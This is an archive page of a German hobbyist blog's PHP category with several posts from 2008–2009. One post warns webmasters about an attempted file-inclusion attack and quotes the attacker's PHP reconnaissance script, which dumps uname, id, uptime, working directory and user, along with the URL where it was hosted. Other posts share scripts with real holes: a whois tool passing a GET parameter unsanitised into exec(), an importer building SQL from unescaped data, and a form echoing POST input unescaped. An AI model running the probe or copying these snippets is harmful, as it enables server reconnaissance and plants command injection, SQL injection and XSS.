Bad Behavior has blocked 215 access attempts in the last 7 days.

Switch to our mobile site

Archiv

Archiv für die Kategorie ‘php’

Parse error beim Aktivieren des Plugins “Postmaster”

20. Februar 2009

Wer beim Aktivieren der Version 2.10 des Plugins “Postmaster” folgende Fehlermeldung bekommt:

1
2
3
Parse error: syntax error, unexpected T_STRING, 
expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or ‘}‘ 
in /...../wp-content/plugins/postmaster/PMMailParser.php on line 11

kann ihn beheben, indem er die PHP-Version für das Blog auf 5 hochhebt, falls möglich. Zum Beispiel durch folgenden Eintrag in eine .htaccess, die im Ordner des Blogs liegen muß, wenn der Hoster dies zuläßt.

1
AddType x-mapp-php5 .php
VN:F [1.8.1_1037]
Rating: 0.0/10 (0 votes cast)
VN:F [1.8.1_1037]
Rating: 0 (from 0 votes)

Nadir lösungen, php , ,

Wollte mir da schon wieder mal jemand eine Datei unterschieben ?

3. Februar 2009

Ich gehöre zu den Webmastern, die regelmäßig die Logfiles analysieren, vor allem im Hinblick auf Spammern und sonstigen Unrat des Webs. Immer wieder mal finde ich da einen Versuch, der mir eine Datei unterschieben soll – wie ich annehme. Meist sind das irgendwelche kryptischen URLs, doch dieses Mal hat mich das schon stutzig gemacht, denn die Domain, war die der Gitarrenjugend Loga.

Ich habe mir die Textdatei mal angesehen, was man mir da denn schönes geben wollte und siehe da, mein Server sollte wohl ausgelesen werden:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?
echo "BraT<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "0wnW4y<br>";
exit;
?>

URL dazu: http://www.gitarrenjugend-loga.de/news/include/safe1.txt

Für die Datei kann die Gitarrenjugend wahrscheinlich nichts, weil die dort über Hintertürchen gelandet ist – zumindest ist da in den meisten Fällen so.  Aber dennoch könnte es dazu führen, daß eben unbescholtene Bürger als Bösewichte hingestellt werden. Also Leute: Server sichern!

Gute Infos zu diesem Thema gibt es übrigens zum Beispiel hier

VN:F [1.8.1_1037]
Rating: 2.0/10 (1 vote cast)
VN:F [1.8.1_1037]
Rating: 0 (from 0 votes)

Nadir php , , , ,

Posts aus SMF in Wordpress importieren

20. Januar 2009

Ich stand vor der Aufgabe, Posts aus einem SMF in ein Wordpress-Blog zu übernehmen. Copy & Paste war mir zu langwierig, also suchte ich nach einem Plugin oder einem Tool. Leider habe ich keines gefunden und so habe ich mich eben selbst rangemacht.

ich brauchte allerdings keine perfekte Lösung, sondern einfach nur etwas, was alle Posts eines Threads aus dem SMF zu einem Post in Wordpress zusammenstellt, mit Usernamen und Datum und dann in eine Kategorie schiebt und auf “pending” setzt. Danach ist so oder so noch Handarbeit gefragt, aber die Texte sind zumindest schon mal da.

Weil vielleicht jemand mal vor derselben Problem steht, möchte ich den Quellcode hier bereitstellen. Ich übernehme keine Haftung oder Garantie und wie gesagt: es werden die Texte einfach nur roh übernommen.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
/****
 * @author: Nadir - www.projectmusical.de
 * 20-01-2009
 * Alle Tabellen müssen in derselben DB liegen
 */
 
$connect = mysql_connect("host","user","pwd");
mysql_select_db("db");
 
 
// Kategorie des Blogs setzen ("Import aus Forum") - Kategorie muß vorher angelegt werden
$blogkat = 47;
 
// User setzen
$bloguser = 2;
 
// ID für die Terms holen
$select = "select term_taxonomy_id as term from wp_term_taxonomy where term_id = $blogkat";
$erg = mysql_query($select);
$row = mysql_fetch_array($erg);
 
$tax = $row[term];
 
// Alle Topics aus dem Forum holen
// Schleife
 
$select = "select * from smf_topics";
$erg = mysql_query($select);
 
while($row = mysql_fetch_array($erg))
{
// Posts zum Topic holen, geordnet nach Datum
 
$s = "select * from smf_messages where ID_TOPIC = $row[ID_TOPIC] order by posterTime";
echo "<br>----$s----<br>";
$e = mysql_query($s);
 
$titel = "";
$text = "";
 
while($r = mysql_fetch_array($e))
{
	if($titel == "")
	{
		$titel = utf8_encode($r[subject]);
	}
	$poster = $r[posterName];
	$datum = date("d.m.Y H:i:s",$r[posterTime]);
	// Posts zusammenbasteln: Name, Datum, Text	
	$text.="<br>------<br>$poster @ $datum<br>$r[body]";
}
 
$text = utf8_encode($text);
// In Blog einfügen
	$insert = "insert into wp_posts
	(post_date,post_content,post_title,post_status,post_type,post_author,post_category)
	values
	(now(),'$text','$titel','pending','post',$bloguser,$blogkat)";
 
	//echo $insert."<br>";
	$erg = mysql_query($insert);
	$id = mysql_insert_id();
	$insert2 = "insert into wp_term_relationships (object_id,term_taxonomy_id) values($id,$tax)";
	echo $insert2."<br>";
	mysql_query($insert2);
 
 
 
 
}
?>
VN:F [1.8.1_1037]
Rating: 0.0/10 (0 votes cast)
VN:F [1.8.1_1037]
Rating: 0 (from 0 votes)

Nadir lösungen, php , , ,

Whois-Abfrage

13. Januar 2009

Für meine Webseiten hatte ich vor Ewigkeiten mal eine Whois-Abfrage programmiert, die auch gut lief. Allerdings ist mir nun aufgefallen, daß bei der Abfrage von IP-Adressen entscheidend ist, welchen Whois-Server man verwendet. Also ging ich auf die Suche nach einem Script, das mir den richtigen Server heraussucht. Bei Domainabfragen kann man das relativ einfach über die Topleveldomain machen, bei IP-Adressen sieht es da schon schwieriger aus.

Nach langer Suche kam ich auf den Gedanken, daß ich ja den Befehl whois meines Servers ausprobieren kann (wenn ich da schon den Luxus habe :) ) und siehe da: whois hangelt sich selbst durch!

In PHP kann man also durch ein kleines Script eine nette Ausgabe zaubern:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?
/********
 * WHOIS-Abfrage
 * Copyright: Nadir 2009
 * IP wird über GET-Paramter übergeben.
 * Aufruf: script.php?ip=x.x.x.x
 * Voraussetzung: Serverbefehle müssen ausgeführt werden können 
 * (funktioniert auf Hostingpaketen evtl. nicht)
 * Ich übernehme keine Garantie oder Haftung für das Ausführen des Scripts.
*******************/
$ip = $_GET[ip];
exec("whois $ip", $temp);
 
foreach ($temp as $tp)
{
echo $t."<br>";
}
 
?>
VN:F [1.8.1_1037]
Rating: 7.5/10 (2 votes cast)
VN:F [1.8.1_1037]
Rating: -1 (from 1 vote)

Nadir lösungen, php , , , ,

Test, ob mod_rewrite aktiviert ist

10. Januar 2009

Vor einiger Zeit hatte ich das Problem, daß ich wissen mußte, ob auf meinem 1 & 1 Server mod_rewrite funktioniert oder nicht. Nach einer kurzen Befragung von Google fand ich den Test dazu auf http://www.wallpaperama.com (leider auf Englisch, vielleicht reiche ich mal eine deutsche Übersetzung nach). Nach dem Testen war klar: mod_rewrite ist nicht aktiviert.

Eine weitere Befragung von Google brachte zu Tage, daß ich es recht einfach aktivieren kann, wenn ich in meinem Adminbereich meines Servers PHP als Modul und nicht als CGI einbinde. Gut, habe ich dann auch mal umgestellt und siehe da, es klappte. Allerdings konnte dann die PHP-Funktion exec() nicht mehr ausgeführt werden…

Da das Script, für das ich mod_rewrite brauchte, leider nicht ganz funktionierte, habe ich PHP wieder auf den CGI Modus umgestellt. Mal schauen, wann ich mich das nächste Mal damit beschäftige.

VN:F [1.8.1_1037]
Rating: 0.0/10 (0 votes cast)
VN:F [1.8.1_1037]
Rating: 0 (from 0 votes)

Nadir lösungen, php , ,

Auf die Schnelle mal eine Farbpalette anzeigen lassen

19. Dezember 2008

Da ich gerade dabei bin, das Design für unsere Webseiten neu zu entwerfen, habe ich mir natürlich zuerst eine passende Farbpalette zusammengestellt. Die Farbcodes wurden von mir auch fein säuberlich notiert, nur leider hatte ich vergessen, mir die Farben nebst Codes auch mal auszudrucken, damit ich später weiß, welcher Code, welche Farbe ist. Mist… :)

Da ich Informatiker bin und mir deswegen die Sachen manchmal leichter machen kann, habe ich mir schnell (waren wirklich nur 5 Minuten) mal ein Script gebastelt, daß mir ganz rudimentär die Farben ausgibt.

So sieht das Ganze dann aus:

farbcodes

Und wer das Script braucht, hier der Code (unkommentiert).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/***************************
Erstellt: 19-12-2008
Autor: Nadir
Web: www.projectmusical.de
 
Dieses Script zeigt die eingegeben Farben in einer Tabelle an.
Die Farben müssen als HEX-Werte (RGB) in das Textfeld eingetragen werden.
Pro Zeile einen Farbcode
 
****************************/
 
if($_GET["action"] == "show")
{
$temp = explode("\n",$_POST[farben]);
echo "
<table border="0">";
foreach($temp as $farbe)
{
echo "
<tbody>
<tr>
<td width="100" bgcolor="#0fa0be"></td>
<td>$farbe</td>
</tr>
";
}
echo "</tbody></table>
";
}
 
echo "
<hr />
<form action="$_SERVER[PHP_SELF]?action=show" method="post"> <textarea cols="20" rows="20" name="farben">$_POST[farben]</textarea>
<input type="submit" />
</form>
 
";
?&gt;

Fragen bitte in den Kommentaren posten.

VN:F [1.8.1_1037]
Rating: 0.0/10 (0 votes cast)
VN:F [1.8.1_1037]
Rating: 0 (from 0 votes)

Nadir php, webseiten , , ,

Bad Behavior has blocked 215 access attempts in the last 7 days.

Switch to our mobile site

Bad Behavior has blocked 215 access attempts in the last 7 days.

Switch to our mobile site